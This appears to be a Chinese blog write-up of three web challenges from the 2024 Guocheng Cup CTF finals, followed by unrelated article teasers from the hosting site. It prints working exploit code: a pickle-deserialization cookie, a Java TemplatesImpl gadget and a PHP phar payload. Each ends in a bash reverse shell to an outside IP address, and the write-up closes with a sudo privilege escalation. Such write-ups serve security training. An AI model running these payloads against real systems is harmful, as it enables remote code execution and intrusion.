当前位置：首页 > news >正文

【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)

news 来源：原创 2025/5/20 6:49:51

最近在忙联通的安全准入测试，很少有时间看CTF了，今晚抽点时间回顾下上周线下的题(期末还没开始复习😢)

感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞，没啥惊喜感，还是CTF有意思

Mountain

ez_zhuawa

图片信息查看器

Mountain

扫目录

访问./display看到

提示是photo参数，/display?photo=Mountain1.png访问到图片

可以任意读文件

没法直接读环境变量

抓包看响应头，是python题

一般就去读当前运行文件

/display?photo=/proc/1/cmdline

/display?photo=/appppp/app.py

from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import remessages = []@route("/")
def home():return template("index")@route("/hello")
def hello_world():try:session = request.get_cookie("name", secret=Mountain)if not session or session["name"] == "guest":session = {"name": "guest"}response.set_cookie("name", session, secret=Mountain)return template("guest", name=session["name"]) if session["name"] == "admin" else Noneexcept:return "hacker!!! I've caught you"@route("/display")
def get_image():photo = request.query.get('photo')if photo is None:return template('display')if re.search("^../|environ|self", photo):return "Hacker!!! I'll catch you no matter what you do!!!"requested_path = os.path.join(os.getcwd(), "picture", photo)try:if photo.endswith('.png'):default_png_path = "/appppp/picture/"pngrequested_path = default_png_path + photowith open(pngrequested_path, 'rb') as f:tfile = f.read()response.content_type = 'image/png'else:with open(requested_path) as f:tfile = f.read()except Exception as e:return "you have some errors, continue to try again"return tfile@route("/admin")
def admin():session = request.get_cookie("name", secret=Mountain)if session and session["name"] == "admin":return template("administator", messages=messages)else:return "No permission!!!!"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)

接着访问./hello

给了一段Cookie，可以看到?后面的特征很像pickle序列化数据

审计代码发现可以打pickle反序列化

先去访问/display?photo=/appppp/config/D0g3_GC.py拿到secretkey

拿恶意cookie的最简单方式就是自己起一个服务

from bottle import Bottle, route, run, template, request, response
import osMountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:def __reduce__(self):return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"')""",))@route("/hello")
def hello_world():try:session = {"name": Test()}response.set_cookie("name", session, secret=Mountain)return "ok"except:return "hacker!!! I've caught you"if __name__ == "__main__":os.chdir(os.path.dirname(__file__))run(host="0.0.0.0", port=8089)

然后访问，拿到恶意cookie

替换后访问靶机的./admin，成功反弹shell拿flag

ez_zhuawa

题目入口，先是将data反序列化，然后使用SPeL解析并执行param表达式，表达式可以从反序列化对象中获取值(即调getter方法)

众所周知TemplatesImpl的利用链如下，直接实例化TP然后调用它的getOutputProperties方法即可

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

而题目ban了一堆东西，就是没ban TP

Evil.java

package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class Exp {public static void main(String[] args) throws Exception {byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();byte[][] codes={code};TemplatesImpl templates=new TemplatesImpl();setFieldValue(templates,"_name","aaa");setFieldValue(templates,"_class",null);setFieldValue(templates,"_bytecodes",codes);byte[] result=serialize(templates);System.out.println(Base64.getEncoder().encodeToString(result));}public static  byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);return byteArrayOutputStream.toByteArray();}public static void setFieldValue(Object obj, String field, Object val) throws Exception {Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}

Exp.java

package org.example.GCCTF.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers)throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}static {try {Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4yNS4xNTEuOTgvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");} catch (IOException e) {throw new RuntimeException(e);}}
}

最后param传OutputProperties即可调用反序列化后的对象的getOutputProperties方法

环境变量读到flag

图片信息查看器

提示有hI3t.php

进来是一个文件上传功能和文件查询功能，一眼phar反序列化

上传图片再读取文件信息

不难想到调用了getimagesize(不想到也行，总之与文件处理相关的函数都与filterchian leak沾边)

PHP Filter链——基于oracle的文件读取攻击 - 先知社区

打filterchain读文件

用下面这个工具

https://github.com/synacktiv/php_filter_chains_oracle_exploit

python filters_chain_oracle_exploit.py --target http://125.70.243.22:31269/chal13nge.php --file '/var/www/html/hI3t.php' --parameter image_path

访问./x@1.php，发现存在一个后门类

生成恶意phar包

<?phpclass backdoor
{public $cmd;function __destruct(){$cmd = $this->cmd;system($cmd);}
}$a=new backdoor();
$a->cmd='bash -c "bash -i >& /dev/tcp/27.25.151.98/1337 0>&1"';
$phar = new Phar("gcb.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

将生成的gcb.phar改为gcb.png上传，读取

phar://uploads/gcb.png

成功弹上shell

权限不够需要提权

发现存在/tmp/rootscripts/check.sh的sudo权限

查看 /tmp/rootscripts/check.sh，发现可以任意run.sh脚本执行

写恶意sh文件

echo "cat /root/flag" > /tmp/run.sh
chmod 777 /tmp/run.sh

再sudo执行，拿到flag

sudo /tmp/rootscripts/check.sh "/tmp"

【Web】2024“国城杯”网络安全挑战大赛决赛题解(全)

最近在忙联通的安全准入测试，很少有时间看CTF了，今晚抽点时间回顾下上周线下的题(期末还没开始复习😢) 感觉做渗透测试一半的时间在和甲方掰扯&水垃圾洞，没啥惊喜感，还是CTF有意思目录 Mountain ez_zhuawa 图…...

编程日记 2025/5/20 6:49:51

操作系统（24）提高磁盘I/O速度的途径

前言操作系统提高磁盘I/O速度的途径多种多样，这些途径旨在减少磁盘访问的延迟和开销，提高数据传输的效率。一、磁盘高速缓存（Disk Cache） 磁盘高速缓存是一种在内存中为磁盘数据设置的缓冲区，用于存储磁盘中某些盘块…...

编程日记 2025/5/14 9:48:29

en3d 部署笔记

目录依赖项： Nvdiffrast 编译代码和frpc_linux_amd64 下载地址： tiny-cuda-nn 安装 ICON算法库依赖 icon依赖 kaolin infer_normal_fixpose 解决报错了，推荐的安装方法： kaolin测试： ICON依赖项 requirements.txt 改进 voxelize_cuda 安装ok 运行后：修改代…...

编程日记 2025/5/17 21:29:17

c++类型判断和获取原始类型

std::traits学习类型判断和退化（获取原始类型）的原理就是利用模板的特例化。根据调用模板的特例化，在特例化模板中实现判断的逻辑或者退化的逻辑。一、类型判断判断整型数据的模板类 #include <iostream> namespace zk {templa…...

编程日记 2025/5/14 17:35:56

医疗行业 UI 设计系列合集（一）：精准定位

在当今数字化时代，医疗行业与信息技术的融合日益紧密，UI 设计在其中扮演着至关重要的角色。精准定位的 UI 设计能够显著提升医疗产品与服务的用户体验，进而对医疗效果和患者满意度产生积极影响。一、医疗行业 UI 设计的重要性概述医疗行业…...

编程日记 2025/5/20 10:53:59

EasyExcel停更，FastExcel接力

11月6日消息，阿里巴巴旗下的Java Excel工具库EasyExcel近日宣布，将停止更新，未来将逐步进入维护模式，将继续修复Bug，但不再主动新增功能。 EasyExcel以其快速、简洁和解决大文件内存溢出的能力而著称，官方…...

编程日记 2025/5/19 14:12:04

java agent的使用【通俗易懂版】

一、静态代理Agent 1．生成Agent的jar包 （1）创建Agent项目，引入javassist.jar包 （2）编写premain方法 import java.lang.instrument.Instrumentation;public class Agent1 {public static void premain(Stri…...

编程日记 2025/5/19 13:49:14

010 Qt_输入类控件(LineEdit、TextEdit、ComboBox、SpinBox、DateTimeEdit、Dial、Slider)

文章目录前言一、QLineEdit1.简介2.常见属性及说明3.重要信号及说明4.示例一：用户登录界面5.示例二：验证两次输入的密码是否一致显示密码二、TextEdit1.简介2.常见属性及说明3.重要信号及说明4.示例一：获取多行输入框的内容5.示例二&#x…...

编程日记 2025/5/16 3:20:54

C++设计模式：享元模式（附文字处理系统中的字符对象案例）

什么是享元模式？ 享元模式是一个非常实用的结构型设计模式，它的主要目的是节省内存，尤其在需要创建大量相似对象时。通俗解释： 想象我们在写一本书，每个字母都需要表示出来。如果每个字母都单独用对象表示&#xff…...

编程日记 2025/5/18 5:05:38

机器学习之 KNN 算法

一、引言在机器学习领域中，K 近邻（K-Nearest Neighbors，KNN）算法是一种简单而有效的分类和回归算法。它的基本思想是根据数据点之间的距离来确定它们的相似性，并根据其最近的邻居的类别或数值来预测新数据点的类别或…...

编程日记 2025/5/20 23:02:16

矩阵：Input-Output Interpretation of Matrices （中英双语）

矩阵的输入-输出解释：深入理解与应用在线性代数中，矩阵与向量的乘积 ( y A x y Ax yAx ) 是一个极为重要的关系。通过这一公式，我们可以将矩阵 ( A A A ) 看作一个将输入向量 ( x x x ) 映射到输出向量 ( y y y ) 的线性变换。在这种…...

编程日记 2025/5/20 16:27:47

ctfhub技能树——disable_functions

LD_PRELOAD 来到首页发现有一句话直接就可以用蚁剑连接根目录里有/flag但是不能看;命令也被ban了就需要绕过了绕过工具在插件市场就可以下载如果进不去的话项目地址: #本地仓库;插件存放 antSword\antData\plugins 绕过选择上传后我们点进去可以看到多了一个绕过的文件;…...

编程日记 2025/5/18 17:31:35

Web3.0安全开发实践：探索比特币DeFi生态中的PSBT

近年来，部分签名比特币交易（PSBT）在比特币生态系统中获得了显著关注。随着如Ordinal和基于铭文的资产等创新的兴起，安全的多方签名和复杂交易的需求不断增加，这使得PSBT成为应对比特币生态不断发展中不可或缺的工具。 …...

编程日记 2025/5/16 11:42:00

【Yonghong 企业日常问题 06】上传的文件不在白名单，修改allow.jar.digest属性添加允许上传的文件SH256值？

文章目录前言问题描述问题分析问题解决1.允许所有用户上传驱动文件2.如果是想只上传白名单的驱动前言该方法适合永洪BI系列产品，包括不限于vividime desktop，vividime z-suit，vividime x-suit产品。问题描述当我们连接数据源的时候&a…...

编程日记 2025/5/19 20:10:41

Lecture 6 Isolation System Call Entry

文章目录一重要的函数清单1 write(user/usys.s) 一 usertrap函数(C code) Lecture6 Isolation & System Call Entry视频链接对应XV6 Book Chapter 4 Traps and device drivers 一重要的函数清单 1 write(user/usys.s) .global write write:li a7, SYS_writeecallret…...

编程日记 2025/5/19 18:08:06

重温设计模式----装饰模式

文章目录装饰模式定义UML 图其主要优点包括：装饰模式的主要角色有：C 代码示例总结装饰模式定义动态的给一个对象添加一些额外的职责，就增加功能来说，装饰模式必生成子类更加灵活装饰模式（Decorator Pattern&…...

编程日记 2025/5/10 22:16:52

图像处理-Ch2-空间域的图像增强

Ch2 空间域的图像增强文章目录 Ch2 空间域的图像增强Background灰度变换函数(Gray-level Transformation)对数变换(Logarithmic)幂律变换(Power-Law)分段线性变换函数(Piecewise-Linear)对比度拉伸(Contrast-Stretching)灰度级分层(Gray-level Slicing) 直方图处理(Histogram …...

编程日记 2025/5/18 9:32:19

uniapp Native.js原生arr插件服务发送广播到uniapp页面中

前言最近搞了个设备，需求是读取m1卡，厂家给了个安卓原生demo，接入arr插件如下，接入后发现还是少了一部分代码，设备服务调起后触发刷卡无法发送到uniapp里。中间是一些踩坑记录，最后面是解决办法&#xf…...

编程日记 2025/5/19 11:32:08

重温设计模式--1、组合模式

文章目录 1 、组合模式（Composite Pattern）概述2. 组合模式的结构3. C 代码示例4. C示例代码25 .应用场景 1 、组合模式（Composite Pattern）概述定义：组合模式是一种结构型设计模式，它允许你将对象组合成…...

编程日记 2025/5/18 21:20:15

关于鸿蒙架构feature

鸿蒙feature层模块架构 model：定义数据类型，进行接口请求 view：视图层写UI viewModel：控制层关于逻辑和请求调用 page页...

编程日记 2025/5/20 7:54:28

CentOS下，离线安装vscode的步骤；

前置条件： 1.CentOS7; 步骤： 1.下载vscode指定版本，例如； 例如 code-1.83.1-1696982959.el7.x86_64.rpm 2.使用下面命令： sudo rpm -ivh code-1.83.1-1696982959.el7.x86_64.rpm 其他： 卸载vscode的命…...

编程日记 2025/5/20 21:58:44

.NET周刊【12月第3期 2024-12-15】

国内文章重磅推出 Sdcb Chats：一个全新的开源大语言模型前端 https://www.cnblogs.com/sdcb/p/18597030/sdcb-chats-intro Sdcb Chats是一个新推出的开源大语言模型前端，旨在提升用户交互体验，并填补市场上基于.NET的前端空白。它引入树状…...

编程日记 2025/5/6 12:29:07

操作系统（23）外存的存储空间的管理

一、外存的基本概念与特点定义：外存，也称为辅助存储器，是计算机系统中用于长期存储数据的设备，如硬盘、光盘、U盘等。与内存相比，外存的存储容量大、成本低，但访问速度相对较慢。特点：外存能够…...

编程日记 2025/5/18 9:34:19

vue3中多层级路由缓存失效问题

问题现象： 在项目中路由嵌套了超过两层后，使用keep-alive对路由进行页面的缓存，发现并不能生效。使用的路由结构： // 一级路由path: menu1,component: () > import(/views/demos/nested/menu1/index), // Parent router-vie…...

编程日记 2025/5/19 10:13:59

Kerberoasting 离线爆破攻击

当域用户请求某个域内服务后，kdc 通常会返回一个加密的 st 服务票据，此 st 服务票据被服务 hash 加密，当我们将使用密码字典派生的多个 hash 值来尝试解密 st 服务票据，如果能够揭秘成功，则说明字典中存在目标服务账号…...

编程日记 2025/5/19 23:50:55

无人机双目视觉鲁棒定位方法！

无人机双目视觉鲁棒定位方法是一种先进的定位技术，它利用两个摄像头（即双目相机）模拟人的视觉系统，通过视差来确定物体的位置。这种方法在无人机定位领域具有广泛的应用前景，特别是在GPS信号拒止或弱纹理环境中&#x…...

编程日记 2025/5/19 21:14:17

vulnhub靶场——Log4j2

第一步:搭建靶场环境 #开启环境 cd vulhub/log4j/CVE-2021-44228 docker-compose up -d 来到网站首页第二步:搭建一个dnslog平台上获取我们注入的效果第三步:发现 /solr/admin/cores?action 这里有个参数可以传我们可以看到留下了访问记录并且前面的参数被执行后给我们回…...

编程日记 2025/5/21 1:49:30

第十六章 C++ 字符串

C 字符串 C 提供了以下两种类型的字符串表示形式： C 风格字符串C 引入的 string 类类型 C 风格字符串 C 风格的字符串起源于 C 语言，并在 C 中继续得到支持。字符串实际上是使用 null 字符终止的一维字符数组。因此，一个以 null 结尾的…...

编程日记 2025/5/17 13:47:29

centos权限大集合，覆盖多种权限类型，解惑权限后有“. + t s”问题！

在 CentOS 系统中，权限管理是操作系统的核心功能之一，确保不同用户和进程对文件、目录以及设备的访问被合理控制。权限系统主要包括传统的 Unix 权限模型、特殊权限（SetUID、SetGID、Sticky 位）和更精细的访问控制列表&#xff…...

编程日记 2025/5/20 10:13:21

【k8s】访问etcd

1. 配置 export.sh export ETCDCTL_API3 # Kubernetes 1.13 使用 API v3 export ETCDCTL_ENDPOINTShttps://[2023:145:246:270::3]:2379 # etcd API endpoint，通常为集群内的 etcd 服务地址 export ETCDCTL_CACERT/etc/kubernetes/certs/ca.crt # CA 证书文件 …...

编程日记 2025/5/19 7:17:00

【教程宝典】基于“遥感+”蓝碳储量估算、红树林信息提取实践技术应用与科研论文写作

“遥感”助推蓝碳生态系统碳储量调查简介(1)蓝碳生态系统碳储量研究背景红树林、海草床和盐沼是海岸带最具固碳效率的三大生态系统，统称为“蓝色碳汇”。虽然这三类生态系统的覆盖面积不到海床的0.5%，植物生物量只占陆地植物生物量的0.05%，…...

编程日记 2025/5/4 3:52:09

运动健康中的实体和关系

1. 实体类别 1.1 个人健康相关实体个人（Person）：参与体育活动的个体，如运动员、健身爱好者、患者等。健康状况（HealthStatus）：描述个人的身体状态，如体重、血压、心率、身体质量指…...

编程日记 2025/5/18 7:38:41

【进阶编程】MVC和MVVM实现前后端分离的实现

在 WPF 开发中，通常使用 MVVM（Model-View-ViewModel）架构来分离视图和业务逻辑，但在某些情况下，你可能希望将 MVC（Model-View-Controller）模式与 MVVM 结合使用。这种结合有时是为了兼顾不同的架…...

编程日记 2025/5/14 10:30:46

ML-Agents 概述（二）

注：本文章为官方文档翻译，如有侵权行为请联系作者删除 ML-Agents Overview - Unity ML-Agents Toolkit–原文链接 ML-Agents 概述（一） ML-Agents 概述（二） 训练方法：特定环境除了上一节介绍的…...

编程日记 2025/5/19 0:37:46

[Unity] ShaderGraph动态修改Keyword Enum，实现不同效果一键切换

上次更新已然四个月前，零零散散的工作结束，终于有时间写点东西记录一下~ 实际使用中，经常会碰到同一个对象需要切换不同的材质，固然可以通过C#直接替换材质球。或者在ShaderGraph中使用Comparison配合Branch实现切换&#xff…...

编程日记 2025/5/18 23:45:42

国自然面上项目分享｜基于人工智能和病理组学的早癌筛查算法研究｜基金申请·24-12-24

小罗碎碎念今天分享的项目为【常规面上项目】，执行年限为2018年1月至2021年12月，直接费用为55万元。今天分享的这个项目很有意思，因为这个项目的成果是团队2020年申报基金委优青的材料，并且还有临床验证和商业转化，值…...

编程日记 2025/5/15 17:40:06

【EthIf-14】EthIfGeneral容器配置-02

1.实际EthIfGeneral的配置实例关闭DET接口开启发送确认中断开启接收中断主周期接收timeout主周期 2. 代码实例参考阅读此部分代码，搞清楚代码分为几个section，大概瞄一眼就好，不用深究其含义，只需有一个宏观的层次结构的映像即可。 //Appl/GenData/EthIf_Cfg.h #...

编程日记 2025/5/15 23:06:55

21.打印文件地址 C#例子

\是一个有特殊功能的字符，当想要打印一个如下地址时， C:\Users\SMTC\source\repos\练习会出现报错，之所以会报错就是因为这里出现了\ \可以把后面的一个符号变为真符号，而不是有特殊功能的符号在字符串的前面可以让这个字符…...

编程日记 2025/5/18 8:32:29

golang LeetCode 热题 100(动态规划)-更新中

爬楼梯假设你正在爬楼梯。需要 n 阶你才能到达楼顶。每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢？ 示例 1：输入：n 2 输出：2 解释：有两种方法可以爬到楼顶。 1. 1 阶 1 阶 2. 2 阶示例 2&…...

编程日记 2025/5/16 5:59:42

Everspin代理MR25H10CDFR存储MRAM

RAMSUN提供的MR25H10CDFR是一款具备1,048,576位存储容量的磁阻随机存取存储器（MRAM）设备，由131,072个8位字构成。该设备提供与串行EEPROM和串行闪存兼容的读/写时序，无写延迟，并且其读/写寿命是不受限制的。与其它串…...

编程日记 2025/5/19 21:42:01

Day13 苍穹外卖项目工作台功能实现、Apache POI、导出数据到Excel表格

目录 1.工作台 1.1 需求分析和设计 1.1.1 产品原型 1.1.2 接口设计 1.2 代码导入 1.2.1 Controller层 1.2.2 Service层接口 1.2.3 Service层实现类 1.2.4 Mapper层 1.3 功能测试 1.4 代码提交 2.Apache POI 2.1 介绍 2.2 入门案例 2.2.1 将数据写入Excel文件 2.2.2 读取Excel文…...

编程日记 2025/5/16 4:56:33

基于vue框架的的校园后台报修管理系统设计与实现u7fui（程序+源码+数据库+调试部署+开发环境）带论文文档1万字以上，文末可获取，系统界面在最后面。

系统程序文件列表项目功能：用户,维修工,报修信息,维修情况,评价记录,请假记录,改派申请记录开题报告内容基于Vue框架的校园后台报修管理系统设计与实现开题报告一、项目背景及意义随着信息技术的飞速发展，校园管理日益趋向于智能化和高效化。传…...

编程日记 2025/5/20 15:25:55

TCP/IP 模型中，网络层对 IP 地址的分配与路由选择

TCP/IP 模型中，网络层对 IP 地址的分配与路由选择一. IP 地址的分配1.1 IP 地址的结构与分类1.2 IP 地址的分配方式二. 路由选择2.3 路由协议2.4 路由表的结构2.5 路由选择的算法2.6 默认路由与静态路由三. 网络层的 IP 地址分配与路由选择总结前言这是我在这个…...

编程日记 2025/5/20 20:26:22

废品回收小程序：助力企业转型发展

废品回收在当下日常生活中非常常见，家中的各种可回收物都能够拿到回收站进行回收，减少浪费，不过在回收物较多的情况下，回收又成为了一个问题。目前，随着智能生活的流行，废品回收开启了“数字化时代”&…...

编程日记 2025/5/20 8:01:30

iptables交叉编译（Hisiav300平台）

参考文章：https://blog.csdn.net/Bgm_Nilbb/article/details/135714738 https://bbs.archlinux.org/viewtopic.php?pid1701065 1、libmnl 交叉编译 tar xvf libmnl-1.0.5.tar.bz2 sudo chmod 777 -R libmnl-1.0.5 cd libmnl-1.0.5 mkdir _install //host和CC需要修…...

编程日记 2025/5/20 6:55:38

概率论期末笔记

第一章随机事件及其概率利用“四大公式”求事件概率全概率公式与贝叶斯公式伯努利概型求概率习题推导一维随机变量及其分布离散型随机变量（R.V）求分布律利用常见离散型分布求概率连续型R.V相关计算利用常见连续型分布的计算均匀分布正态…...

编程日记 2025/5/16 11:56:34

【Chrome】浏览器提示警告Chrome is moving towards a new experience

文章目录前言一、如何去掉前言 Chrome is moving towards a new experience that allows users to choose to browse without third-party cookies. 这是谷歌浏览器（Chrome）关于隐私策略更新相关的提示提示：以下是本篇文章正文内容&…...

编程日记 2025/5/12 11:24:37

xdoj 数字个数统计

1-3 数字个数统计 3 时间限制：1S 题目描述： 输入两个三位正整数 A 和 B，在区间[A,B]之间，或在区间[B,A]之间， 完成统计任务： 3 的倍数数字个数、4 的倍数数字个数和 5 的倍数且不是 2 的倍数的数字个数…...

编程日记 2025/5/19 23:14:37

I.MX6U 启动方式详解

一、启动方式选择 BOOT 的处理过程是发生在 I.MX6U 芯片上电以后，芯片会根据 BOOT_MODE[1:0]的设置来选择 BOOT 方式。 BOOT_MODE[1:0]的值是可以改变的，有两种方式，一种是改写 eFUSE(熔丝)，一种是修改相应的 GPIO 高低电平。第一种修改 eFUSE 的方式只能修改一次，后面就…...

编程日记 2025/5/19 19:05:23

Linux自动挂载与卸载USB设备

一、实现udev规则创建规则：sudo vi /etc/udev/rules.d/usb.rules SUBSYSTEMS"usb",SUBSYSTEM"block",ACTION"add",RUN{program}"/bin/mkdir /mnt/%k",RUN{program}"/usr/bin/systemd-mount --no-block --collect …...

编程日记 2025/5/17 17:32:19

Mountain

ez_zhuawa

图片信息查看器

相关文章：